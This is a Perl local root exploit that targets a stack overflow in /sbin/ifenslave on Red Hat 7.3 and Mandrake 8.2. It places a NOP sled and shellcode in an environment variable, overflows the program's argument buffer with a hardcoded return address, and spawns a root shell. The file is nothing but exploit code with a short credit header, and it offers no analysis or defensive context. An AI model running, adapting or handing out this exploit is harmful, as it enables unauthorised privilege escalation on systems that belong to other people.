#!/usr/bin/perl
######################################################
#                      rh7.3 & mdk8.2 local exploit
# ...based on '0x333slave rh8.0 local exploit (www.0x333.org)'
#
#It use stack overflow in /sbin/ifenslave. Play with offsets for other
#rh\mdk distribs.
#
#                                www.dhgroup.org
#####################################################

$shellcode =
   "\x31\xdb\x89\xd8\xb0\x17\xcd\x80" .
   "\x31\xdb\x89\xd8\xb0\x2e\xcd\x80" .
   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" .
   "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" .
   "\x80\xe8\xdc\xff\xff\xff/bin/sh";

$size = 100;
$size2 = 44;
$retaddr = 0xbfffff9c; #tested on rh7.3 and mdk8.2
$nop = "\x90";
$offset = 0;


if (@ARGV == 1) {
  $offset = $ARGV[0];
}

for ($i = 0; $i < ($size - length($shellcode) - 4); $i++) {
   $buffer .= $nop;
}
for ($i = 0; $i < ($size2); $i++) {
   $buffer2 .= "A";
}

$buffer .= $shellcode;

print " retaddr: 0x", sprintf('%lx',($retaddr + $offset)), "\n";

local($ENV{'EVILBUF'}) = $buffer;


$newret = pack('l', ($retaddr + $offset));
$buffer2 .= $newret;

exec("/sbin/ifenslave $buffer2");

#EOF